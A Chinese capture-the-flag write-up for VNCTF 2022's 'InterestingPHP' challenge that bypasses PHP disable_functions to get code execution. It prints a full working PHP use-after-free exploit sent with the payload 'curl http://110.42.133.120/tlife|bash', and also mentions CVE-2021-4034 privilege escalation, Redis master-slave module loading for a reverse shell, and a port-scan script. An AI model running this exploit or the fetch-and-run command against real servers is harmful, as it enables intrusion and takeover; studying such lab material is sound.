2022vnctf-rce小结

InterestingPHP

非预期——bypass_disable

<?php highlight_file(__FILE__); @eval($_GET['exp']);?> 

测试了一下,可以使用file_put_contents,但是其他的命令执行不了

我们可以查看一下disable_function,但是由于phpinfo()用不了

var_dump(ini_get_all());

可以发现disable_function过滤了很多东西,应该就是要绕了

既然可以写入文件,先试试一些disable_function实现rce

https://github.com/mm0r1/exploits

这里有个思路也很巧妙,学习一下,就是通过发送文件的形式,这样的话,就不用一直使用file_put_contents去写文件命令执行,可以直接在一个页面

但是需要注意发送文件的格式

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 144

------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"

var_dump("a");
------WebKitFormBoundaryj28zfvoWVxnHdp29--

然后将rce的脚本贴过来,但是不能马上用,因为disable_function中过滤了fwrite,需要找替代,使用fputs,使用CVE-2021-4034进行提权

使用一个脚本上传一下,我一直在想如何将文件写入,因为怎么写好像都有问题。

其实可以将他放在服务器上,然后利用curl命令下载过去。又掌握一个新姿势。。。我还在一直用python脚本写,而且穿过去以后,我发现使用那边的gcc也没法编译成功。。。

所以我直接在服务器编译了,然后发送过去

img

完整命令执行内容

POST /?exp=eval($_POST[1]); HTTP/1.1
Host: c9be48e4-3f0c-4ebd-8cc6-ba5f826890d0.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17c6332d1772a3-003cfe433760328-4c3e2679-144000-17c6332d178a88
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 6949

------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"

pwn('curl http://110.42.133.120/tlife|bash ');

function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;

public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}

private function go() {
$this->abc = &$this->filtername;

$this->make_uaf_obj();

$this->helper = new Helper;
$this->helper->b = function($x) {};

$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);

$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);

$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);

$this->prepare_leaker();

$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);

$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);

$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);

$this->cleanup();
($this->helper->b)(CMD);
}

private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fputs($this->uafp, "\x00");
}
}

private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);

$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}

private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}

private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fputs($this->hfp, "\x00");
}
}

private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}

private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
------WebKitFormBoundaryj28zfvoWVxnHdp29--

预期解:redis主从复制rce

写马进去以后,发现有一份redis的账号密码,那应该就是主从复制加载so文件了,想用插件直接试试,发现端口不是6379.猜测可能没开redis服务

学习一下:

利⽤ get_loaded_extensions() 可以看到PHP加载的插件,从中可以看到题⽬环境中加载了PHP的redis插件 (redis.so),翻找⼀下⽂档可以找到这个插件的Redis类中有 rawCommand() ⽅法可以执⾏redis的命令操作。利用 file_put_contents() 写恶意so文件,接着载入恶意.so文件模块,反弹shell至远程主机

var_dump(get_loaded_extensions());

可以发现,加载了redis的插件,尝试运行一下开启服务
img

还需要找到开放的端口来打在redis服务,所以还需要扫描 一下端口

<?php
highlight_file(__FILE__);
# Port scan
for($i=0;$i<65535;$i++) {
$t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2);
if($ee2 === "Address already in use") {
var_dump($i);
}
}

这里有个小tip:写入文件的时候,转为base64写入就不用管转义的事了

$a="PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==";
file_put_contents("a.php",base64_decode($a));

接下来发现的步骤就还是提权了

Author

vague huang

Posted on

2022-02-22

Updated on

2022-08-01

Licensed under

Comments